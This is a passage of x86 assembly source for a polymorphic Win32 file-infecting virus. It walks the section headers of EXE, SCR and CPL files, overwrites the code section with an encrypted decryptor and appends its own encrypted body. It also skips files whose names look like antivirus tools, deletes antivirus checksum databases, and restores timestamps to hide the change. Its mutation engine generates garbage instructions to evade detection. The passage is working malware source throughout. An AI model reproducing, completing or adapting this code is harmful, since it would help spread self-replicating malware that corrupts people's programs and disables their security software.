;;   are copied already encrypted.
;; 5) We overwrite .text section with the decryptor (we check if .text is big
;;   enough to contain this).
;; 6) When execution, .text must be restored from the saved data.

                movzx   ebx, word ptr [esi+14h] ; Size of this header
                movzx   ecx, word ptr [esi+06h] ; Number of sections
                mov     word ptr [ebp+Sav_NumberOfSections], cx
                lea     ebx, [ebx+esi+18h]  ; EBX=Address of the first section
                mov     eax, 28h      ; EAX = Size of one section header
                push    ebx
                push    ecx
                dec     ecx
                mul     ecx
                add     ebx, eax      ; EBX=Address of last section
                sub     ebx, edi     ; EBX=Physical address in the mapped file
                mov     [ebp+LastHeader], ebx ; Save it here
                pop     ecx          ; Restore some values (new EAX=old EBX)
                pop     eax          ; EAX=Address of first section header
                mov     dword ptr [ebp+TextHeader], 0  ; Set to 0 to know if
                mov     dword ptr [ebp+RelocHeader], 0 ; this values has been
                mov     dword ptr [ebp+BssSection], 0  ; found when we end the
                                                       ; loop
                push    edi
                push    ecx
                push    eax
                lea     edi, [ebp+SectionNames]
                mov     ecx, 30h / 4
                xor     eax, eax
                rep     stosd
                pop     eax
                pop     ecx
                pop     edi

   @@Loop_001:  cmp     dword ptr [eax], 'xet.'  ; Does it begin like .text?
                jnz   @@LookForReloc             ; If not, do next check
                cmp     dword ptr [eax+4], 0+'t' ; .text?
                jnz   @@NextSection              ; If not, look next section
                mov     byte ptr [ebp+SectionNames+0], 1
                sub     eax, edi
                mov     [ebp+TextHeader], eax ; Physical address of .text
                add     eax, edi              ; Restore address
                jmp   @@NextSection2          ; Look next section
@@LookForReloc: cmp     dword ptr [eax], 'ler.'  ; Does it begin like .reloc?
                jnz   @@LookForBss               ; If not, do next check
                cmp     dword ptr [eax+4], 0+'co' ; .reloc?
                jnz   @@NextSection              ; If not, look next section
                sub     eax, edi
                mov     [ebp+RelocHeader], eax ; Physical address of .reloc
                add     eax, edi
                jmp   @@NextSection2          ; Look next section
@@LookForBss:   cmp     dword ptr [eax], 'ssb.'  ; Does it begin like .bss?
                jnz   @@LookForIdata             ; If not, do next check
                cmp     dword ptr [eax+4], 0     ; .bss?
                jnz   @@NextSection              ; If not, look next section
                mov     byte ptr [ebp+SectionNames+1], 1
                push    eax
                mov     eax, [eax+0Ch]       ; Save the RVA of the section for
                add     eax, [esi+34h]       ; later use in the poly engine.
                mov     [ebp+BssSection], eax
                pop     eax
                jmp   @@NextSection2          ; Look next section
@@LookForIdata: cmp     dword ptr [eax], 'adi.'  ; Does it begin like .idata?
                jnz   @@NextSection              ; If not, do next check
                cmp     dword ptr [eax+4], 0+'at' ; .idata?
                jnz   @@NextSection              ; If not, look next section
                or      byte ptr [eax+24h+3], 80h ;make it writable (Win98 SE)
             ;   jmp   @@NextSection               ; If not, per-process fails
@@NextSection:  pushad
                mov     edi, eax
                xor     edx, edx
                lea     esi, [ebp+SZSectionNames]
        @@LoopNS_001:
                push    edi
                push    esi
                xor     ecx, ecx
        @@LoopNS_002:
                cmpsb
                jnz   @@NextNS_001
                inc     ecx
                cmp     ecx, 8
                jnz   @@LoopNS_002
                mov     byte ptr [ebp+edx+SectionNames], 1
                pop     esi
                pop     edi
                jmp   @@NextNS_002
        @@NextNS_001:
                pop     esi
                pop     edi
                add     esi, 8
                inc     edx
                cmp     byte ptr [esi], 0
                jnz   @@LoopNS_001
        @@NextNS_002:
                popad

@@NextSection2: add     eax, 28h             ; Next section
                dec     ecx
                jnz   @@Loop_001             ; Repeat it for every section
                cmp     [ebp+TextHeader], ecx ; 0? ; Text header found?
                jz    @@End4                       ; If not, end infection
                mov     ebx, [ebp+RelocHeader]
                or      ebx, ebx                   ; Is there .reloc section?
                jz    @@CreateNew             ; If not, create a new section
                cmp     ebx, [ebp+LastHeader] ; Is the last section the reloc?
                jnz   @@End4                  ; If it isn't, exit
                mov     dword ptr [esi+0A0h], 0
                mov     dword ptr [esi+0A4h], 0 ; Anulate the fixup directory
                jmp   @@ContinueWithReloc
  @@CreateNew:  mov     ebx, [ebp+LastHeader]  ; Get the last header address
                cmp     dword ptr [ebx+edi], 'rsr.' ; Is .rsrc?
                jnz   @@End4
                cmp     dword ptr [ebx+edi+4], 0+'c'
                jnz    @@End4                  ; If it isn't, end infection
                mov     byte ptr [ebp+SectionNames+2], 1
                mov     ebx, [ebp+LastHeader]
                add     ebx, edi              ; Get the last header address
                lea     ecx, [ebx+28h]        ; Get the new section address
                xor     eax, eax
      @@LoopCheckIfHole:
                cmp     dword ptr [ecx+eax], 0 ; Check if all that space is 0
                jnz   @@End4         ; If not, there isn't space for creating
                add     eax, 4       ; a new section. We check it in all the
                cmp     eax, 28h     ; 40 bytes of required space.
                jb    @@LoopCheckIfHole

               ; mov     byte ptr [ecx], '.' ; Set the '.' of the name
                mov     dword ptr [ecx+08h], Virus_SizePOW2 ; The virtual size
                                                        ; will be the required
                mov     eax, [ebx+08h]   ; The physical address of the section
                xor     edx, edx         ; will be the physical address of the
                push    ecx              ; (before) last section plus its vir-
                mov     ecx, [esi+38h]   ; tual size rounded to the section 
                div     ecx              ; physical alignment.
                inc     eax
                mul     ecx
                pop     ecx
                add     eax, [ebx+0Ch]
                mov     dword ptr [ecx+0Ch], eax ; Set that address
                mov     dword ptr [ecx+10h], 0   ; Set its physical size to
                                               ; 0 to force its readjustement
                mov     eax, [ebx+14h]    ; The RVA of the new section will be
                add     eax, [ebx+10h]    ; the RVA of the last plus its vir-
                mov     dword ptr [ecx+14h], eax  ; tual size.
                mov     dword ptr [ecx+24h], 0A0000020h ; READABLE/WRITABLE/
                                                        ; /EXECUTABLE
                sub     ecx, edi          ; Get the mapping address of this
                                          ; section
                mov     [ebp+RelocHeader], ecx ; Save it here
                inc     word ptr [esi+06h]    ;Increase the number of sections
  @@ContinueWithReloc:
                mov     eax, [esi+28h]    ; Get the initial RVA of the EXE
                mov     ebx, [esi+34h]
                add     eax, ebx          ; Add the base address...
                mov     [ebp+InicIP], eax ; ...and save it
                mov     [ebp+ImageBase], ebx ; Save the base address, too

                mov     eax, [ebp+TextHeader] ; Get the mapped address of the
                add     eax, edi              ; .text header in the file
    ; Check if it's big enough to hold a decryptor (physically and virtually)
                cmp     dword ptr [eax+08h], Host_Data_Size
                jae   @@OK_WithtextSize
                cmp     dword ptr [eax+10h], Host_Data_Size
                jae   @@OK_WithtextSize
      @@P_End5: mov     ax, word ptr [ebp+Sav_NumberOfSections]
                mov     word ptr [esi+06h], ax
                jmp   @@End4
     @@OK_WithtextSize:
                mov     ebx, [eax+0Ch]    ; EBX=Virtual address of .text
                mov     eax, [ebp+RelocHeader]
                add     eax, edi
                mov     eax, [eax+0Ch]    ; EAX=Virtual address of last sect.
                lea     ecx, [ebx+Host_Data_Size] ; ECX=Maximum address where
                                                  ; the decryptor can reach
                mov     edx, 78h    ; EDX=Address inside the PE header where
                                    ; the directories start
   ;; Now we are going to check if any directory would be inside the decryp-
   ;; tor and then overwritting the code when automatic data like import RVAs
   ;; and all that are set by the kernel.
     @@LoopDirCheck:
                cmp     dword ptr [esi+edx], ebx ;Check begin address of .text
                jb    @@NextDirCheck             ; If below, then it's OK
                cmp     dword ptr [esi+edx], ecx ; Check max address in .text
                jb    @@P_End5                   ; If below, it overwrites the
                                                 ; decryptor, so finish
                cmp     dword ptr [esi+edx], eax ; Check RVA of last section
                jae   @@P_End5    ; If it overwrites the encrypted data, end
     @@NextDirCheck:
                add     edx, 8            ; Next directory
                cmp     edx,0C8h          ; End of directories?
                jb    @@LoopDirCheck      ; If not, loop again

                mov     eax, [ebp+RelocHeader]
                add     eax, edi   ; Get mapped address of last section header
                mov     ebx, Virus_SizePOW2  ; If the virtual size isn't big
                cmp     dword ptr [eax+08h], ebx ; enough, make it bigger
                jae   @@SizeIsOK_1
                mov     dword ptr [eax+08h], Virus_SizePOW2
  @@SizeIsOK_1: mov     ebx, [eax+0Ch]  ; Calculate new virtual total size
                add     ebx, [eax+08h]
              ;  add     ebx, 1000h      ; Add 1000h to be sure...
              ; Removed due to heuristic alert (virtual end of last section
              ; must coincide with virtual end of whole executable).

                mov     [esi+50h], ebx  ; ...and put it on its header field

                mov     ebx, Virus_Size + Host_Data_Size  ; Check now the
                cmp     dword ptr [eax+10h], ebx          ; physical size
                jae   @@SizeIsOK_2
 @@SizeIsNotOK: sub     ebx, [eax+10h]    ; Calculate the new physical size
                mov     ecx, eax          ; of the last section and of all the
                xchg    ebx, eax          ; file. If the last section is the
                mov     ebx, [esi+38h]    ; .reloc and it's big enough to hold
                xor     edx, edx          ; the virus (Virus_Size +
                div     ebx               ; Host_Data_Size), then the file
                or      edx, edx          ; doesn't grow in size.
                jz    @@RemainderIs0
                inc     eax
    @@RemainderIs0:
                mul     ebx
                add     [ecx+10h], eax

                add     [ebp+FileSizeLow], eax
                call    UnmapFile        ; Close this mapping
                call    MapFile          ; Open a mapping with the new size
                jc    @@End3
       ; Here, the file is prepared to hold the virus
  @@SizeIsOK_2:
                mov     dword ptr [ebp+MappingAddress], eax
                mov     edi, eax
                mov     esi, [edi+3Ch]        ; This operations are made coz
                add     esi, edi              ; maybe the mapping address
                mov     [ebp+PEHeaderAddress], esi ; changed when resizing.

                mov     eax, [ebp+TextHeader]
                add     eax, edi           ; EAX=Address of .text header (map)
                mov     ebx, [eax+0Ch]     ; New entrypoint of the executable
                mov     [esi+28h], ebx     ; is the starting address of .text
                                           ; virtually
                add     ebx, [esi+34h]     ; Add the base address of exec...
                mov     [ebp+RestoreAddress], ebx ; ...and we have the virtual
                                                  ; address of text. We have
                                                  ; to restore the host here.
                mov     ebx, [eax+08h]
                mov     [ebp+SizeOfText], ebx

                mov     ecx, [eax+14h]  ; Get the physical address of the
                add     ecx, edi        ; section in ECX

                                             
                mov     eax, [ebp+RelocHeader]
                add     eax, edi        ; EAX=Phys. address of last sec. head.
                or      dword ptr [eax+24h], 0A0000020h ; Make it EXECUTABLE/
                                                        ; /WRITABLE/READABLE

                call    ConstructNameForReloc

                push    edi
                xchg    edi, eax    ; EAX=Mapping address
                mov     edi, [ebp+RelocHeader]
                add     edi, eax
                mov     edi, [edi+14h] ; EDI=Physical address of the last
                add     edi, eax       ; section inside the executable, now
                                       ; mapped

                call    CalculateAPIsAddresses

                push    eax
                call    Random   ; EAX=Random value, and one of the values
                mov     dword ptr [ebp+CryptValue2], eax ; the virus will be
                                                         ; crypted with

      ;; This function creates a new decryptor at the beginning of the virus,
      ;; but with a normal polymorphism level. This avoids cryptanalisis and
      ;; all that.
                call    ModifyDumbDecryptor
                pop     eax

                push    esi                 ; ESI=Virus start
                lea     esi, [ebp+Inic_Virus]
                mov     ecx, Virus_Size / 4 ; Errrmh... size in dwords, maybe?
                                            ; :)
                push    eax
                mov     byte ptr [ebp+CopyingVirus], 1 ; This controls the
                                                ; first 3Ch bytes, to check
                                                ; if we have to encrypt with
                                                ; one or two encryption keys
                                                ; (the first 3Ch bytes are the
                                                ; little decryptor)
                call    EncryptWhileStoring  ; OK, so that
                pop     eax

                mov     esi, [ebp+TextHeader]
                add     esi, [ebp+MappingAddress]
                mov     esi, [esi+14h]
                add     esi, [ebp+MappingAddress] ; ESI=Host code address
                mov     ecx, Host_Data_Size / 4
                mov     byte ptr [ebp+CopyingVirus], 0
                call    EncryptWhileStoring       ; Store the overwritten data
                                                  ; of the host encrypting it

                mov     eax, [ebp+RelocHeader]
                add     eax, [ebp+MappingAddress]
                mov     ecx, [eax+10h]
                sub     ecx, Virus_Size + Host_Data_Size
                or      ecx, ecx
                jz    @@JumpFillSection_002
                call    Random
                and     eax, 01FFh
                cmp     eax, ecx
                jbe   @@JumpFillSection_001
                mov     eax, ecx
     @@JumpFillSection_001:
                sub     ecx, eax
                mov     edx, ecx
                xchg    ecx, eax
     @@LoopFillSection_001:
                call    Random
                stosb
                loop  @@LoopFillSection_001
                mov     ecx, edx
                or      ecx, ecx
                jz    @@JumpFillSection_002
                xor     al, al
                rep     stosb
     @@JumpFillSection_002:
                pop     esi
                pop     edi

                mov     eax, [ebp+TextHeader]
                add     eax, edi
                mov     ebx, [eax+0Ch]
                add     ebx, [esi+34h]   ; EBX=Virtual address where the de-
                                         ; cryptor will be
                mov     ecx, [eax+14h]
                add     ecx, edi         ; ECX=Physical place where the de-
                                         ; cryptor will be constructed
                  
                mov     eax, [ebp+RelocHeader]
                add     eax, edi
                mov     eax, [eax+0Ch]
                add     eax, [esi+34h]
                sub     eax, ebx         ; EAX=Displacement from the decryptor
                                         ; start until the encrypted part. I
                                         ; use this to calculate the final
                                         ; jump to the decrypted part

               ; EAX=Displacement from the beginning till the virus
               ; EBX=Virtual address where the decryptors will be
               ; ECX=Place where the decryptors must be put
               ; Size of encrypted part is always Virus_SizePOW2

                ; int 3
                call    Tuareg      ; Call this amazing engine! :)

                mov     eax, [ebp+EPAddition]
                add     [esi+28h], eax

            ; Let's calculate the checksum for the header address (if it's
            ; different from 0)

                cmp     dword ptr [ebp+RVA_CheckSumMappedFile], 0
                jz    @@End4
                mov     eax, [esi+58h]
                or      eax, eax
                jz    @@End4
                lea     eax, [esi+58h]
                push    eax
                lea     eax, [ebp+TextHeader] ; Buffer variable
                push    eax
                push    dword ptr [ebp+FileSizeLow]
                push    dword ptr [ebp+MappingAddress]
                call    dword ptr [ebp+RVA_CheckSumMappedFile]

       @@End4:  call    UnmapFile       ; Believe me, you'll miss these faci-
       @@End3:  call    RestoreDateTime ; lities to understand the code when
                                        ; you look the code of TUAREG :P
                push    dword ptr [ebp+FileHandle]
                call    dword ptr [ebp+RVA_CloseHandle] ; Close file

       @@End2:  push    dword ptr [ebp+FileAttributes]
                lea     ebx, [ebp+FileName]
                push    ebx                        ; Restore file attributes
                call    dword ptr [ebp+RVA_SetFileAttributesA]
       @@End:   ret                                ; Return from this
InfectFile      endp

TextHeader              dd      0      ; Some data...
RelocHeader             dd      0
LastHeader              dd      0
StartOfLastSection      dd      0
PEHeaderAddress         dd      0

CryptValue2     dd      0             ; This value is set somewhere...

Sav_NumberOfSections    dw      0

SectionNames    db      30h dup (0)
SZSectionNames  db      ".text",0,0,0
                db      ".bss",0,0,0,0
                db      ".rsrc",0,0,0
                db      "INITTASK"
                db      ".pdata",0,0
                db      ".tls",0,0,0,0
                db      ".Script",0
                db      ".petite",0
                db      "INIT",0,0,0,0
                db      "WINEXEC",0
                db      ".rdata",0,0
                db      ".udata",0,0
                db      "$$DOSX",0,0
                db      ".PCPEC",0,0
                db      "PREVIEW",0
                db      ".OBJ",0,0,0,0
                db      "_winzip_"
                db      ".PATCH",0,0
                db      "$prfth",0,0
                db      "PEPACK!!"
                db      "_cabinet"
                db      "actdlvry"
                db      ".adata",0,0
                db      ".textbss"
                db      ".CPS",0,0,0,0
                db      "_mvdata",0
                db      ".check",0,0
                db      "BSS",0,0,0,0,0
                db      ".dcode",0,0
                db      ".WWP32",0,0
                db      ".mdata",0,0
                db      ".debug",0,0
                db      ".data",0,0,0
                db      "DATA",0,0,0,0
                db      ".dllent",0
                db      ".WOPEC",0,0
                db      ".PEpsi",0,0
                db      ".drectve"
                db      "Ext_Cab1"
                db      ".gdata",0,0
                db      "ANAKiN98"
                db      "_sfxrun_"
                db      ".edata",0,0
                db      ".fearzip"
                db      ".idata",0,0
                db      "CODE",0,0,0,0
                db      ".petprg",0
                db      ".delete",0
                db      0

ConstructNameForReloc proc
                pushad
    @@Loop01:   call    Random
                and     eax, 3Fh
                cmp     eax, 2Fh
                ja    @@Loop01
                cmp     byte ptr [ebp+eax+SectionNames], 1
                jz    @@Loop01
                shl     eax, 3
                mov     ecx, [ebp+RelocHeader]
                add     ecx, [ebp+MappingAddress]
                mov     ebx, dword ptr [ebp+eax+SZSectionNames]
                mov     [ecx], ebx
                mov     ebx, dword ptr [ebp+eax+SZSectionNames+4]
                mov     [ecx+4], ebx
                popad
                ret                   ; Return
ConstructNameForReloc endp

FindFileMask1   db      '*.EXE',0  ; Masks for FindFirstFile and FindNext
FindFileMask2   db      '*.SCR',0
FindFileMask3   db      '*.CPL',0

;; Oh, I know this function is only called once, but the code is more struc-
;; tured with this and more clear to me. Moreover, if I want to put more than
;; one calls to this function in the future... hey, I'll have it coded already
;; :)
OpenFile        proc
                push    0
                push    0
                push    3
                push    0
                push    0           ; ??? (I don't remember exactly why this
                push    0c0000000h  ; values and no others :)
                push    ebx      ; EBX=RVA to the file name (in FindFileField)
                call    dword ptr [ebp+RVA_CreateFileA] ; Open the file
                inc     eax
                jz    @@Error      ; If error, return carry flag
                dec     eax
                mov     dword ptr [ebp+FileHandle], eax ; Save handle...
                clc                ; ...clear carry flag...
                ret                ; ...and return
      @@Error:  stc
                ret
OpenFile        endp

;; This function opens a mapping over the file represented in FindFileField.
;; The data there is used here (well, file size only, but I save a lot of
;; work if I use it in this manner)
MapFile         proc
                push    0
                push    dword ptr [ebp+FileSizeLow]
                push    0
                push    4
                push    0
                push    dword ptr [ebp+FileHandle]
                call    dword ptr [ebp+RVA_CreateFileMappingA]
                or      eax, eax
                jz    @@FinError  ; If error, exit
                mov     dword ptr [ebp+MappingHandle], eax
                push    dword ptr [ebp+FileSizeLow]
                push    0
                push    0
                push    2
                push    dword ptr [ebp+MappingHandle] ; Open mapping
                call    dword ptr [ebp+RVA_MapViewOfFile]
                or      eax, eax         ; If error, exit
                jz    @@FinError2
                mov     dword ptr [ebp+MappingAddress], eax ; Save mapping
                clc                             ; RVA here, clear carry flag
                ret                             ; and return
@@FinError2:    push    dword ptr [ebp+MappingHandle]  ;If error, close handle
                call    dword ptr [ebp+RVA_CloseHandle] ;of file mapping, set
@@FinError:     stc                                     ; carry flag and exit.
                ret
MapFile         endp

MappingHandle   dd      0   ; Variables
MappingAddress  dd      0
FileHandle      dd      0

;; This function, although it seems false, unmaps a previous mapping of a
;; file :P
UnmapFile       proc
                push    dword ptr [ebp+MappingAddress]
                call    dword ptr [ebp+RVA_UnmapViewOfFile]
                push    dword ptr [ebp+MappingHandle]
                call    dword ptr [ebp+RVA_CloseHandle]
                ret
UnmapFile       endp

;; This function checks a file name to determine if it's a "dangerous" file
;; if infected or we can infect it without problems (theorically). It checks
;; the file name to see if it begins with TB (Thunderbyte appz), SC (Scan and
;; others, normally McCaf‚ one), F- (F-Potatoe), PA (Panda Antivirus), DR
;; (DrWeb) and NO (Nod-Ice), or it has a "V" in any position (it's usual for
;; an antivirus to have a "V" in the name, like AVP, DSAV, etc.)
CheckFileName   proc
                push    ebx
                push    edx
                lea     esi, [ebp+FileName]
                mov     ebx, esi
                dec     ebx
    @@Loop_001: lodsb
                or      al, al
                jnz   @@Loop_001
                std
                dec     esi
                dec     esi
    @@Loop_002: lodsb
                cmp     al, '\'
                jz    @@EndName2
                cmp     al, ':'
                jz    @@EndName2
                cmp     esi, ebx
                jnz   @@Loop_002
                jmp   @@EndName
    @@EndName2: inc     esi
    @@EndName:  cld            ; Here we have the file name without path
                inc     esi
                lodsw          ; Read the two first letters
                movzx   edx, ax
                call    ToLower  ; Convert them to lowercase
                cmp     edx, 0+'bt'
                jz    @@Error
                cmp     edx, 0+'cs'
                jz    @@Error
                cmp     edx, 0+'-f'
                jz    @@Error
                cmp     edx, 0+'ap'
                jz    @@Error
                cmp     edx, 0+'rd'
                jz    @@Error
                cmp     edx, 0+'on' ; Any antivirus?
                jz    @@Error       ; If it is, then jump to set carry flag
                dec     esi
                dec     esi
                dec     esi
     @@Again:   inc     esi         ; Check "V"s in the name
                cmp     byte ptr [esi], 'v'
                jz    @@Error
                cmp     byte ptr [esi], 'V'
                jz    @@Error           ; If any, set carry
                cmp     byte ptr [esi], 0
                jnz   @@Again
                mov     edx, [esi-4]
                call    ToLower
                cmp     edx, 'exe.'   ; Check if the file is .EXE, .SCR or
                jz    @@ItsOK         ; .CPL. This is made because the per-
                cmp     edx, 'rcs.'   ; process functions have no mask to
                jnz   @@Error         ; search.
                cmp     eax, 'lpc.'
                jnz   @@Error
      @@ItsOK:  pop     edx
                pop     ebx
                clc
                ret
      @@Error:  pop     edx
                pop     ebx
                stc
                ret
CheckFileName   endp

;; Function to convert the four character string in EDX to lowercase
ToLower         proc
                push    ecx
                mov     ecx, 4
    @@Loop_001: cmp     dl, 'A'
                jb    @@Next
                cmp     dl, 'Z'
                ja    @@Next
                add     dl, 20h
      @@Next:   rol     edx, 8
                loop  @@Loop_001
                pop     ecx
                ret
ToLower         endp

;; This function deletes the files AVP.CRC, ANTI-VIR.DAT, CHKLIST.MS and
;; IVB.NTZ, which are antivirus CRC databases.
DeleteDATs      proc
                lea     ebx, [ebp+FileDAT1]
                call    DeleteFile
                lea     ebx, [ebp+FileDAT2]
                call    DeleteFile
                lea     ebx, [ebp+FileDAT3]
                call    DeleteFile
                lea     ebx, [ebp+FileDAT4]
                call    DeleteFile
                ret
DeleteDATs      endp

;; Function to delete the file pointed by EBX
DeleteFile      proc
                push    80h
                push    ebx
                call    dword ptr [ebp+RVA_SetFileAttributesA]
                push    ebx
                call    dword ptr [ebp+RVA_DeleteFileA]
                ret
DeleteFile      endp

FileDAT1        db      'AVP.CRC',0
FileDAT2        db      'ANTI-VIR.DAT',0
FileDAT3        db      'CHKLIST.MS',0
FileDAT4        db      'IVB.NTZ',0

;; Function to save the timestamp of a file...
SaveDateTime    proc
                xor     eax, eax
                jmp     FileDateTime_Common
SaveDateTime    endp

;; ... and later restore it with this other function
RestoreDateTime proc
                mov     eax, 4
   FileDateTime_Common:
                lea     ebx, [ebp+FileTime]
                push    ebx
                add     ebx, 8
                push    ebx
                add     ebx, 8
                push    ebx
                push    dword ptr [ebp+FileHandle]
                call    dword ptr [ebp+eax+RVA_GetFileTime]
                                ; EAX = 0: GetFileTime
                                ; EAX = 4: SetFileTime
                ret
RestoreDateTime endp

;; If we are in Win2K, some files are protected by the operating system. Since
;; they aren't all the files in the harddisk (only the system ones), we only
;; have to check if a file is protected or not. For that thing that I do in
;; InfectFile, we need to load SFC.DLL, which have the protection APIs. If we
;; can't load that, then we aren't in Win2K, so we put 0 in the RVA-storage
;; variable to know that the function can't be called. Normally, under Win2K
;; this DLL is loaded always (like ADVAPI32.DLL), so we'll get the module
;; handle as if we call GetModuleHandleA. If not, then we load it :)
LoadSFCFunctions proc
                lea     eax, [ebp+SFC_Dll]
                push    eax
                call    dword ptr [ebp+RVA_LoadLibraryA]
                mov     dword ptr [ebp+HandleSFC], eax
                or      eax, eax
                jz    @@EndOfSFCs
                lea     ebx, [ebp+ASC_SfcIsFileProtected]
                push    ebx
                push    eax
                call    dword ptr [ebp+RVA_GetProcAddress]
       @@EndOfSFCs:                                                
                mov     dword ptr [ebp+RVA_SfcIsFileProtected], eax ; 0 or
                ret                                                 ; address
LoadSFCFunctions endp

SFC_Dll db      'SFC.DLL',0
HandleSFC       dd      0
ASC_SfcIsFileProtected db       'SfcIsFileProtected',0 ; The only function we
RVA_SfcIsFileProtected dd       0                      ; need

LoadIMAGEHLPFunctions proc
                lea     eax, [ebp+IMAGEHLP_Dll]
                push    eax
                call    dword ptr [ebp+RVA_LoadLibraryA]
                mov     dword ptr [ebp+HandleIMAGEHLP], eax
                or      eax, eax
                jz    @@EndOfIMAGEHLPs
                lea     ebx, [ebp+ASC_CheckSumMappedFile]
                push    ebx
                push    eax
                call    dword ptr [ebp+RVA_GetProcAddress]
       @@EndOfIMAGEHLPs:
                mov     dword ptr [ebp+RVA_CheckSumMappedFile], eax
                ret
LoadIMAGEHLPFunctions endp

IMAGEHLP_Dll db 'IMAGEHLP.DLL',0
HandleIMAGEHLP  dd      0
ASC_CheckSumMappedFile  db      'CheckSumMappedFile',0
RVA_CheckSumMappedFile  dd      0

;;; This function creates a decryptor that fills the 40 free bytes at the be-
;;; ginning of the virus. That (shitty polymorphic) decryptor is made to avoid
;;; cryptanalisis. Moreover, this function gets some values for the later use
;;; of the TUAREG.
ModifyDumbDecryptor proc
                pushad
   @@AgainRnd:  call    Random
                or      eax, eax
                jz    @@AgainRnd
                mov     [ebp+DecryptKey], eax ; Get the decryption key for the
                                              ; main encryption (TUAREG)
   @@AgainRnd2: call    Random
                and     al, 3
                jz    @@AgainRnd2
                dec     al
                mov     byte ptr [ebp+EncryptType], al ; Get method: 0=ADD,
                                                       ; 1=SUB, 2=XOR
                lea     edi, [ebp+Inic_Virus]
     ;; Let's use the TUAREG functions
                mov     dword ptr [ebp+Index1Register], 08080808h
                call    SelectARegister
                mov     [ebp+Index1Register], al
                call    SelectARegister
                mov     [ebp+Index2Register], al
                call    SelectARegister
                mov     [ebp+KeyRegister], al
                lea     ebx, [ebp+@@SetIndex]
                lea     ecx, [ebp+@@SetCounter]
                lea     edx, [ebp+@@SetKey]
                lea     esi, [ebp+@@Garbage]
                call    RandomCalling
                mov     esi, edi
   @@GetOtherType:
                call    Random
                and     eax, 3
                jz    @@GetOtherType
                dec     eax
                mov     [ebp+EncryptType2], al
                cmp     al, 1
                jb    @@PutSUB
                jz    @@PutADD
      @@PutXOR: mov     al, 0031h
                jmp   @@Next01
      @@PutADD: mov     al, 0001h
                jmp   @@Next01
      @@PutSUB: mov     al, 0029h
      @@Next01: mov     ah, [ebp+KeyRegister]
                shl     ah, 3
                or      ah, [ebp+Index1Register]
                cmp     byte ptr [ebp+Index1Register], 5
                jnz   @@Next02
                or      ah, 40h
                stosw
                xor     al, al
                stosb
                jmp   @@Next03
      @@Next02: stosw
      @@Next03: call  @@Garbage
                push    esi
                lea     ebx, [ebp+@@ModifyKey]
                lea     ecx, [ebp+@@ModifyIndex]
                lea     edx, [ebp+@@Garbage]
                lea     esi, [ebp+@@Ret]
                call    RandomCalling
                pop     esi

      @@Repeat: call    Random
                and     al, 3
                jz    @@Repeat
                cmp     al, 2
                jb    @@DecCounter
                jz    @@SubCounter
  @@AddCounter: mov     ax, 0C083h
                or      ah, [ebp+Index2Register]
                stosw
                mov     al, 0FFh
                stosb
                jmp   @@Next04
  @@SubCounter: mov     ax, 0E883h
                or      ah, [ebp+Index2Register]
                stosw
                mov     al, 1
                stosb
                jmp   @@Next04
  @@DecCounter: mov     al, 48h
                add     al, [ebp+Index2Register]
                stosb
     @@Next04:  call    RandomFlags
                jz    @@DoLongJNZ
                mov     al, 75h
                stosb
                inc     edi
                mov     eax, esi
                sub     eax, edi
                mov     [edi-1], al
                jmp   @@Next05
   @@DoLongJNZ: mov     ax, 850Fh
                stosw
                add     edi, 4
                mov     eax, esi
                sub     eax, edi
                mov     [edi-4], eax
   @@Next05:    lea     esi, [ebp+InicDecryptVirus]
                mov     dword ptr [ebp+Index1Register], 08080808h
   @@Next06:    cmp     edi, esi
                jz    @@Made
                call  @@Garbage2
                jmp   @@Next06
    @@Made:     popad
    @@Ret:      ret                 ; Return

@@ModifyKey:    call    Random
                and     al, 3
                mov     byte ptr [ebp+KeyModification], al
                jz    @@ModADD
                cmp     al, 2
                jb    @@ModSUB
                jz    @@ModXOR
     @@ModROL:  mov     ax, 0C0D1h
                or      ah, byte ptr [ebp+KeyRegister]
                stosw
                call  @@Garbage
                ret
     @@ModADD:  mov     ax, 0C081h
                jmp   @@ModNext
     @@ModSUB:  mov     ax, 0E881h
                jmp   @@ModNext
     @@ModXOR:  mov     ax, 0F081h
     @@ModNext: or      ah, byte ptr [ebp+KeyRegister]
                stosw
                call    Random
                mov     [ebp+KeyModifier], eax
                stosd
                call  @@Garbage
                ret

@@ModifyIndex:  call    RandomFlags
                jz    @@Add4
       @@Lea4:  mov     al, 8Dh
                mov     ah, [ebp+Index1Register]
                shl     ah, 3
                or      ah, [ebp+Index1Register]
                or      ah, 40h
       @@StoreAddition:
                stosw
                mov     al, 4
                stosb
                call  @@Garbage
                ret
       @@Add4:  mov     ax, 0C083h
                or      ah, [ebp+Index1Register]
                jmp   @@StoreAddition

@@SetIndex:     mov     ebx, [ebp+RelocHeader]
                add     ebx, [ebp+MappingAddress]
                mov     ebx, [ebx+0Ch]
                mov     esi, [ebp+PEHeaderAddress]
                add     ebx, [esi+34h]
                add     ebx, 3Ch
                mov     dl, [ebp+Index1Register]
                call  @@DoMOV
                call  @@Garbage
                ret

@@SetCounter:   call    Random
                and     eax, 7Fh
                cmp     eax, 78h
                ja    @@SetCounter
                sub     eax, (offset End_Virus - offset InicDecryptVirus) / 4
                neg     eax
                mov     ebx, eax
                mov     dl, [ebp+Index2Register]
                call  @@DoMOV
                call  @@Garbage
                ret

@@SetKey:       mov     ebx, [ebp+CryptValue2]
                mov     dl, [ebp+KeyRegister]
                call  @@DoMOV
                call  @@Garbage
                ret

@@DoMOV:        call    Random
                and     al, 3
                jz    @@DoPureMOV2
                cmp     al, 2
                jb    @@DoPureMOV
                jz    @@DoPUSHPOP
     @@DoLEA:   mov     ax, 058Dh
                shl     dl, 3
                or      ah, dl
                stosw
  @@StoreValue: mov     eax, ebx
                stosd
                ret
   @@DoPureMOV: mov     al, 0B8h
                add     al, dl
                stosb
                jmp   @@StoreValue
  @@DoPureMOV2: mov     ax, 0C0C7h
                add     ah, dl
                stosw
                jmp   @@StoreValue
   @@DoPUSHPOP: mov     al, 68h
                stosb
                mov     eax, ebx
                stosd
                call  @@Garbage
                mov     al, 58h
                add     al, dl
                stosb
                ret

@@Garbage2:     pushad
                call    Random
                and     al, 3
                jz    @@OneByteWithoutRegister
                cmp     al, 2
                jb    @@OneByteWithRegister
                jz    @@TwoBytes2

   @@Garbage_XCHGEAX:
                call    Random
                and     al, 7
                cmp     al, 4
                jz    @@Garbage_XCHGEAX
                add     al, 90h
                stosb
                jmp   @@EndGarbage

@@Garbage:      pushad
                call    Random
                and     al, 3
                jz    @@TwoBytes
                cmp     al, 2
                jb    @@OneByteWithoutRegister
                jz    @@EndGarbage

      @@OneByteWithRegister:
                call    Random
                and     al, 8
                mov     dl, al
                call    SelectARegister
                or      al, dl
                add     al, 40h
                stosb
                jmp   @@EndGarbage

      @@OneByteWithoutRegister:
